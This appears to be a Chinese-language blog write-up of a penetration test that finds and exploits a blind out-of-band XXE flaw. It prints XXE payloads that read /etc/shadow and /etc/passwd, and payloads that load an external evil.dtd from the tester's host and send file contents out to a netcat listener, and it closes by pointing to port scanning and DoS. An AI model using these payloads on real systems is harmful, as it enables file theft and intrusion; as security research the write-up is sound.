漏洞笔记|记一次与XXE漏洞的爱恨纠缠

2020-03-12 18:35:40 浏览数 (1)

0x01背景:

kaiputenku大佬最近在挖洞的时候偶遇一枚XXE漏洞,身经百战的他经过一番爱恨纠缠,终将她顺利拿下~

0x02纠缠一番只为她-Blind OOB XXE:

在测试某系统的某查询功能模块如下:

  • 查询模块.jpg(请各位大佬自行脑补)
  • 下面即将开始kaiputenku的表演

首先使用burp抓包,发现提交xml形式的数据包,很容易想到可能存在XML外部实体注入

尝试构造以下payload读取/etc/shadow文件:

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/shadow">]><root>&file;</root>

HTTP回显报错Permission denied,说明payload成功执行,证明确实存在XML外部实体注入,只是用户权限不足读取失败

尝试构造以下payload读取/etc/passwd文件

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]><root>&file;</root>

发现HTTP回显正常,但是没有我们想要的passwd文件信息,说明是Blind XXE漏洞

Blind XXE漏洞有两种常见的利用方式,ftp读回显和http读回显

  • 尝试ftp读回显

测试主机ip为10.xx.xx.31

1)在测试主机上开启Web服务,并创建eval.dtd文件,内容如下

2)在测试主机上下载并运行xxe-ftp-server.rb,运行后会在2121端口开启ftp服务,脚本下载地址:https://github.com/ONsec-Lab/scripts

3)构造如下payload并发起请求

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a[<!ENTITY % asd SYSTEM "http://10.xx.xx.31:8080/evil.dtd">%asd;%c;]><a>&rrr;</a>

发现HTTP回显Connection refused

在测试主机Web日志中发现目标主机已经成功下载了evil.dtd文件,但是HTTP又回显Connection refused,猜测是ftp服务的问题

直接在浏览器中访问http://10.xx.xx.31:2121/,发现连接被拒绝,这里没搞不明白为什么已经开启了ftp服务并且正在监听[::]:2121还是拒绝连接,换了台测试主机出现同样的问题,花了很长时间没有解决,猜测是内部网络策略的问题,遂放弃,准备尝试HTTP读回显的方式。

  • 尝试http读回显

测试主机ip为10.xx.xx.31

1)在测试主机上开启Web服务,并创建eval.dtd文件,内容如下

2)使用nc进行监听,执行necat.exe -lvvp 8081,监听8081端口

3)构造如下payload并发起请求

代码语言:javascript复制
<!DOCTYPE convert[<!ENTITY % remote SYSTEM "http://10.xx.x.31:8080/evil.dtd">%remote;%int;%send;]>

发现HTTP回显Illegal character in URL,说明该payload成功读取到/etc/passwd文件,尝试将/etc/passwd拼接到URL:'http://10.xx.xx.31:8081?p=%file;',但是由于passwd文件中的数据不符合URL构造要求,所以目标主机报Illegal character in URL的错误

所以开始尝试读取较为简单,文本信息较少的文件,比如/etc/hostname文件,里面只是保存了主机名,应该不会有什么特殊字符导致URL不合法

修改测试主机中的evil.dtd文件如下:

再次请求payload,发现该请求一直处于Waiting状态

并且发现necat.exe成功监听到目标主机的Web请求,并且在URL中读取到/etc/hostname文件信息,目标主机名为gp13erxxxxxxx36

0x03总结:

以上即为测试该漏洞的全部过程,由于处于全内网环境,寻找下载工具花了较长时间,ftp拒绝连接的坑也花费了很长时间,最后还是没有解决--.--。但是变通使用necat监听http请求成功读取到了目标主机的文件信息。

当然还有很多玩法,比如内网主机、端口存活扫描,DOS等,大家自己探索~

0 人点赞